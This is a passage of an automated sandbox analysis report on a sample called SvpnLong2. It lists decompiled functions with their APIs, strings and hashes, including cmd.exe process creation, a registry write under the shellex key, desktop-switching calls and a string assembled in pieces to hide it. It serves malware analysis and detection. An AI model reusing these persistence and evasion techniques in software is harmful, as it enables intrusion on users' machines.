Opcode Fuzzy Hash: 3059d18893a6f2d6e099a0d3dd07f7d6103baa939f11c7274faf6686222187fe
Instruction Fuzzy Hash: E1E12930618B4E8FEB18EFACD4452ADB3E1FB68315F44226DD84AD3251DB34E846C782

Function 02142BA0 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 86libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 02142BD6
GetProcAddress.KERNEL32 ref: 02142BEE
GetProcAddress.KERNEL32 ref: 02142C01
GetProcAddress.KERNEL32 ref: 02142C16
GetProcAddress.KERNEL32 ref: 02142C29
LoadLibraryA.KERNEL32 ref: 02142C39
GetProcAddress.KERNEL32 ref: 02142C51
FreeLibrary.KERNEL32 ref: 02142CA9
FreeLibrary.KERNEL32 ref: 02142CB7

Strings

GetThreadDesktop, xrefs: 02142BE4
kernel32.dll, xrefs: 02142C32
SetThreadDesktop, xrefs: 02142C0C
user32.dll, xrefs: 02142BCF
GetUserObjectInformationA, xrefs: 02142BF7
CloseDesktop, xrefs: 02142C1F
GetCurrentThreadId, xrefs: 02142C47

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$GetCurrentThreadId$GetThreadDesktop$GetUserObjectInformationA$SetThreadDesktop$kernel32.dll$user32.dll
API String ID: 2449869053-588083535
Opcode ID: 9183e1ca5739eef2aafed54cd58351509e2888ce0700836264acde7a7fc29bc1
Instruction ID: 1656c965e098bf9860907324e722de95d71238975bc3734010b9353db79eba1a
Opcode Fuzzy Hash: 9183e1ca5739eef2aafed54cd58351509e2888ce0700836264acde7a7fc29bc1
Instruction Fuzzy Hash: A4313631215B8482EA119B22FC5C3EE6361BB99BD9F450121ED4E87B14EF79C249C340

Function 0215DAB8 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 192processsynchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 0215DB08
_errno.LIBCMT ref: 0215DB0F
_invalid_parameter_noinfo.LIBCMT ref: 0215DB1A
__doserrno.LIBCMT ref: 0215DC65
CreateProcessA.KERNEL32 ref: 0215DCA7
GetLastError.KERNEL32 ref: 0215DCAF
free.LIBCMT ref: 0215DCBC
WaitForSingleObject.KERNEL32 ref: 0215DCE9
GetExitCodeProcess.KERNEL32 ref: 0215DCF7
CloseHandle.KERNEL32 ref: 0215DD11
CloseHandle.KERNEL32 ref: 0215DD21
_errno.LIBCMT ref: 0215DD2C

Strings

cmd.exe, xrefs: 0215DAC2

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CloseHandleProcess__doserrno_errno$CodeCreateErrorExitLastObjectSingleWait_invalid_parameter_noinfofree
String ID: cmd.exe
API String ID: 2975444996-723907552
Opcode ID: ef5ea7687e49302ea2b7fd48ed11daa860d9a9b0aa8502123ee9bb232d1ae630
Instruction ID: fec52df73e62b5620d7066e4905fee6abf409cfd32c1e37f7401f9972342a4b8
Opcode Fuzzy Hash: ef5ea7687e49302ea2b7fd48ed11daa860d9a9b0aa8502123ee9bb232d1ae630
Instruction Fuzzy Hash: 8A611232740B94CAEB208F69E4803AD3BA2F7557A8F45929ACE7E47794DB79C009C700

Function 00007FF7FC7DCE50 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF7FC7DCF01
_invalid_parameter.LIBCMTD ref: 00007FF7FC7DD033
_invalid_parameter.LIBCMTD ref: 00007FF7FC7DD1B4
_invalid_parameter.LIBCMTD ref: 00007FF7FC7DD34B

Strings

(((_Src))) != NULL, xrefs: 00007FF7FC7DCFCF, 00007FF7FC7DD02C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 00007FF7FC7DCEB2, 00007FF7FC7DCEEC, 00007FF7FC7DCFE4, 00007FF7FC7DD01E, 00007FF7FC7DD165, 00007FF7FC7DD19F, 00007FF7FC7DD2FC, 00007FF7FC7DD336
(L"Buffer is too small" && 0), xrefs: 00007FF7FC7DD2E7, 00007FF7FC7DD344
(L"String is not null terminated" && 0), xrefs: 00007FF7FC7DD150, 00007FF7FC7DD1AD
String is not null terminated, xrefs: 00007FF7FC7DD11D
Buffer is too small, xrefs: 00007FF7FC7DD2AB
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 00007FF7FC7DCE9D, 00007FF7FC7DCEFA
wcscat_s, xrefs: 00007FF7FC7DCEF3, 00007FF7FC7DD025, 00007FF7FC7DD1A6, 00007FF7FC7DD33D

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: f6516d988b5cd8070580733c07acc62f02b5f7fc11d7837ca7af3553bd32680a
Instruction ID: 282f909871a5671b40f1f2253012402b8f57fab3d5a4257e7a6ca601abbc84b3
Opcode Fuzzy Hash: f6516d988b5cd8070580733c07acc62f02b5f7fc11d7837ca7af3553bd32680a
Instruction Fuzzy Hash: 1AF16031A1CB8685EB70AB14F44436AE3A0FB98794F904135D6AD43BD8DF3CE2558BB1

Function 00007FF7FC7D80B0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF7FC7D8161
_invalid_parameter.LIBCMTD ref: 00007FF7FC7D828D
_invalid_parameter.LIBCMTD ref: 00007FF7FC7D8407
_invalid_parameter.LIBCMTD ref: 00007FF7FC7D8595

Strings

(((_Src))) != NULL, xrefs: 00007FF7FC7D8229, 00007FF7FC7D8286
strcat_s, xrefs: 00007FF7FC7D8153, 00007FF7FC7D827F, 00007FF7FC7D83F9, 00007FF7FC7D8587
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 00007FF7FC7D8112, 00007FF7FC7D814C, 00007FF7FC7D823E, 00007FF7FC7D8278, 00007FF7FC7D83B8, 00007FF7FC7D83F2, 00007FF7FC7D8546, 00007FF7FC7D8580
(L"Buffer is too small" && 0), xrefs: 00007FF7FC7D8531, 00007FF7FC7D858E
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 00007FF7FC7D80FD, 00007FF7FC7D815A
(L"String is not null terminated" && 0), xrefs: 00007FF7FC7D83A3, 00007FF7FC7D8400
String is not null terminated, xrefs: 00007FF7FC7D8370
Buffer is too small, xrefs: 00007FF7FC7D84F5

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$strcat_s
API String ID: 2123368286-1420200500
Opcode ID: 8e524936c7a2ebf9cd6b3a777262959e6073a38c984f96b053e4fb51eaf8531d
Instruction ID: e25d2f37a885f029d98fa0e94820476d9c66acb6825fa31372a4beb0813882aa
Opcode Fuzzy Hash: 8e524936c7a2ebf9cd6b3a777262959e6073a38c984f96b053e4fb51eaf8531d
Instruction Fuzzy Hash: 43F17F31A1CB8685EB60AB14F44436AE7A0FB89754F904135D6AD43BD8DF3CD648CBB1

Function 02156228 Relevance: 19.6, APIs: 13, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

__free_lconv_mon.LIBCMT ref: 02156280

Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BEC2
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BED4
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BEE6
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BEF8
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF0A
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF1C
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF2E
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF40
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF52
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF64
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF79
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BF8E
Part of subcall function 0215BEA4: free.LIBCMT ref: 0215BFA3

free.LIBCMT ref: 02156274

Part of subcall function 02153D28: HeapFree.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D3E
Part of subcall function 02153D28: _errno.LIBCMT ref: 02153D48
Part of subcall function 02153D28: GetLastError.KERNEL32(?,?,00000000,02154940,?,?,000002C8,02153209,?,?,?,?,0215A510,?,?,00000000), ref: 02153D50

free.LIBCMT ref: 02156296
__free_lconv_num.LIBCMT ref: 021562A2
free.LIBCMT ref: 021562AE
free.LIBCMT ref: 021562BA
free.LIBCMT ref: 021562DE
free.LIBCMT ref: 021562F2
free.LIBCMT ref: 02156301
free.LIBCMT ref: 0215630D
free.LIBCMT ref: 0215633A
free.LIBCMT ref: 02156362
free.LIBCMT ref: 0215637C

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorFreeHeapLast__free_lconv_mon__free_lconv_num_errno
String ID:
API String ID: 518839503-0
Opcode ID: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction ID: 40a926a81df01665f8669c7d7b51a56b5badc5564689dc6d6ab8cdfe71e430ae
Opcode Fuzzy Hash: f930c58ff9535cf105c5e13d2fa07782c103dc284568ccd9d6e8d3d03fe5b7fa
Instruction Fuzzy Hash: C8313832682AA4D8DF66DF61D4603AD2375EB84BA8FC804B5AE3D5B354CF78C481C790

Function 0214F690 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 128registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 021538A4: GetSystemTimeAsFileTime.KERNEL32 ref: 021538B2

Part of subcall function 02154238: _getptd.LIBCMT ref: 02154240

rand.LIBCMT ref: 0214F6D0

Part of subcall function 02154250: _getptd.LIBCMT ref: 02154254

lstrlen.KERNEL32 ref: 0214F720
lstrlen.KERNEL32 ref: 0214F77A
lstrlen.KERNEL32 ref: 0214F7A0
RegOpenKeyExA.ADVAPI32 ref: 0214F82C
RegSetValueExA.ADVAPI32 ref: 0214F852
RegSetValueExA.ADVAPI32 ref: 0214F87F
RegCloseKey.ADVAPI32 ref: 0214F88A

Strings

SOFTWARE\Classes\*\shellex, xrefs: 0214F810
lpKey, xrefs: 0214F862
lpData, xrefs: 0214F83F

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: lstrlen$TimeValue_getptd$CloseFileOpenSystemrand
String ID: SOFTWARE\Classes\*\shellex$lpData$lpKey
API String ID: 2327618628-1449424764
Opcode ID: cc368ab5bd6020cbe0e87727897b27a0b4ddb0d0e6cd43977ad8c34ef4ca1ac2
Instruction ID: 7f628f0d7cab97286afe272933e8d9ffb0691a9eca662256cae64f873e35bddc
Opcode Fuzzy Hash: cc368ab5bd6020cbe0e87727897b27a0b4ddb0d0e6cd43977ad8c34ef4ca1ac2
Instruction Fuzzy Hash: D351DE32628B8586DB10DF25F85839EB7A1F799B84F455121EE8E4BB28DF3CC549CB00

Function 01E70DC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 150COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 01E70DF4
_getptd.LIBCMT ref: 01E70E08
_getptd.LIBCMT ref: 01E70E42
_getptd.LIBCMT ref: 01E70E4E
_getptd.LIBCMT ref: 01E70E5A
_CreateFrameInfo.LIBCMT ref: 01E70E6F

Part of subcall function 01E704C0: _getptd.LIBCMT ref: 01E704CC
Part of subcall function 01E704C0: _getptd.LIBCMT ref: 01E704DA
Part of subcall function 01E704C0: _getptd.LIBCMT ref: 01E704EE

_getptd.LIBCMT ref: 01E70E8D
_getptd.LIBCMT ref: 01E70F93
_getptd.LIBCMT ref: 01E70F9F

Strings

csm, xrefs: 01E70F53

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _getptd$CreateFrameInfo
String ID: csm
API String ID: 4181383844-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 48e55fcbd9330cce827e8638f2b5cb398fce9c81a897643f08fb4c2a83f72d21
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: B14191B0558B498FE7B4EF1C9449BBDB7E0FB5A311F40156EE08DC3651DB30A8828B82

Function 0216140C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0216143C

Part of subcall function 02154958: _amsg_exit.LIBCMT ref: 0215496E

_getptd.LIBCMT ref: 02161450
_getptd.LIBCMT ref: 0216148A
_getptd.LIBCMT ref: 02161496
_getptd.LIBCMT ref: 021614A2
_CreateFrameInfo.LIBCMT ref: 021614B7

Part of subcall function 02160B08: _getptd.LIBCMT ref: 02160B14
Part of subcall function 02160B08: _getptd.LIBCMT ref: 02160B22
Part of subcall function 02160B08: _getptd.LIBCMT ref: 02160B36

_getptd.LIBCMT ref: 021614D5
_getptd.LIBCMT ref: 021615DB
_getptd.LIBCMT ref: 021615E7

Strings

csm, xrefs: 0216159B

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction ID: 7762e7d15c0a85745f5bda45a0d3410a33fe14d5976a4fce20af7c2989b167a8
Opcode Fuzzy Hash: e4da1030930dd4cd1c6f41b80cadd6d82696cf0c5265258ebbf79b655e0db643
Instruction Fuzzy Hash: AC416D36144B85D6CA70AF12E4443AEB7A5F78ABA4F554225DFAE07B54DF38C0A5CB00

Function 0215F5D8 Relevance: 16.8, APIs: 11, Instructions: 254COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0215F600
_invalid_parameter_noinfo.LIBCMT ref: 0215F60B
__wtomb_environ.LIBCMT ref: 0215F6ED
_errno.LIBCMT ref: 0215F6F6
free.LIBCMT ref: 0215F7E7
SetEnvironmentVariableA.KERNEL32 ref: 0215F918
_errno.LIBCMT ref: 0215F925
free.LIBCMT ref: 0215F933
free.LIBCMT ref: 0215F940
free.LIBCMT ref: 0215F967

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$_errno$EnvironmentVariable__wtomb_environ_invalid_parameter_noinfo
String ID:
API String ID: 101574016-0
Opcode ID: f96776eeda2a319c30e12082793135241fee4331ba37ca691a2fed6c7a387d01
Instruction ID: 51b2ffebe23ea25a414a15d68c989d4dba3013af69e45468c5619b11052e3c8b
Opcode Fuzzy Hash: f96776eeda2a319c30e12082793135241fee4331ba37ca691a2fed6c7a387d01
Instruction Fuzzy Hash: 37912826782B60C5EE15EF25E90432A7696FB42BD8F9485A8CE7947F94EF38C057C700

Function 02141AC0 Relevance: 16.6, APIs: 11, Instructions: 75sleepnetworkCOMMONLIBRARYCODE

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 02141ADC
CloseHandle.KERNEL32 ref: 02141AEB
CloseHandle.KERNEL32 ref: 02141AFA
CloseHandle.KERNEL32 ref: 02141B0C
WSACleanup.WS2_32 ref: 02141B12
VirtualFree.KERNEL32 ref: 02141B29
VirtualFree.KERNEL32 ref: 02141B4D
VirtualFree.KERNEL32 ref: 02141B6F
VirtualFree.KERNEL32 ref: 02141B9C
VirtualFree.KERNEL32 ref: 02141BB7
VirtualFree.KERNEL32 ref: 02141BD2

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: FreeVirtual$CloseHandle$CleanupSleep
String ID:
API String ID: 21600312-0
Opcode ID: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction ID: b6b0fb28171813b861c86fb5858f30408ebd11e23316088b9745e171af6722a5
Opcode Fuzzy Hash: a304c84f429aa0dd12295d70942336703db784592340804cb05594c0d335fd55
Instruction Fuzzy Hash: C931EA36342B0086EB68CF66E85876D73A5FF98F89F098115CE4E43A68DF38C199C710

Function 00007FF7FC7F0B60 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 330COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF7FC7F0C3E
_invalid_parameter.LIBCMTD ref: 00007FF7FC7F0E0A

Strings

(((_Src))) != NULL, xrefs: 00007FF7FC7F0DA6, 00007FF7FC7F0E03
(L"Buffer is too small" && 0), xrefs: 00007FF7FC7F105E, 00007FF7FC7F10BB
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl, xrefs: 00007FF7FC7F0BEF, 00007FF7FC7F0C29, 00007FF7FC7F0DBB, 00007FF7FC7F0DF5, 00007FF7FC7F0ECB, 00007FF7FC7F1073, 00007FF7FC7F10AD
Buffer is too small, xrefs: 00007FF7FC7F0EB6, 00007FF7FC7F102B
wcsncpy_s, xrefs: 00007FF7FC7F0C30, 00007FF7FC7F0DFC, 00007FF7FC7F10B4
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 00007FF7FC7F0BDA, 00007FF7FC7F0C37

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcsncpy_s.inl$wcsncpy_s
API String ID: 2123368286-322314505
Opcode ID: 7208ed254ce81095b6aea37670380c7cc935244e74f606be1ba889ffb980eaa3
Instruction ID: 29faabc3aea3c4f757acd13e518a67ce50579a65284a9883aad0ee6f51bfb563
Opcode Fuzzy Hash: 7208ed254ce81095b6aea37670380c7cc935244e74f606be1ba889ffb980eaa3
Instruction Fuzzy Hash: 6B025031A1CB8685EB70AB14F48436AA3A4FB88794F904135D6BD43BD5DF3CE594CBA0

Function 01E52F18 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 276COMMON

Download Yara Rule

APIs

_localtime64.LIBCMT ref: 01E53134

Part of subcall function 01E635D8: __getgmtimebuf.LIBCMT ref: 01E635EA

Part of subcall function 01E63620: _errno.LIBCMT ref: 01E63658
Part of subcall function 01E63620: _invalid_parameter_noinfo.LIBCMT ref: 01E63664
Part of subcall function 01E63620: _errno.LIBCMT ref: 01E636D3

Strings

2, xrefs: 01E52FD9
Adva, xrefs: 01E53006
GetU, xrefs: 01E52FE1
.dll, xrefs: 01E5301A
serN, xrefs: 01E52FEB
2, xrefs: 01E52F84
pi32, xrefs: 01E53010
ameA, xrefs: 01E52FF5

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: _errno$__getgmtimebuf_invalid_parameter_noinfo_localtime64
String ID: .dll$2$2$Adva$GetU$ameA$pi32$serN
API String ID: 1626460918-1620219524
Opcode ID: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction ID: 4386190cb4278b95024628f607d24e1414e04319af78954984adfa1684d670fe
Opcode Fuzzy Hash: b48aaf5986291119d3ad09e467f6c811ae23191144642e74e6dd10f8516cbbca
Instruction Fuzzy Hash: E5A1E531118A898FD765EF28D848BEE77E1FFA4350F90422AD84BC71A1DF749A45CB81

Function 00007FF7FC7C7460 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 233COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF7FC7C7511
_invalid_parameter.LIBCMTD ref: 00007FF7FC7C7643
_invalid_parameter.LIBCMTD ref: 00007FF7FC7C77EB

Strings

(((_Src))) != NULL, xrefs: 00007FF7FC7C75DF, 00007FF7FC7C763C
wcscpy_s, xrefs: 00007FF7FC7C7503, 00007FF7FC7C7635, 00007FF7FC7C77DD
(L"Buffer is too small" && 0), xrefs: 00007FF7FC7C7787, 00007FF7FC7C77E4
Buffer is too small, xrefs: 00007FF7FC7C7754
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 00007FF7FC7C74AD, 00007FF7FC7C750A
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 00007FF7FC7C74C2, 00007FF7FC7C74FC, 00007FF7FC7C75F4, 00007FF7FC7C762E, 00007FF7FC7C779C, 00007FF7FC7C77D6

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
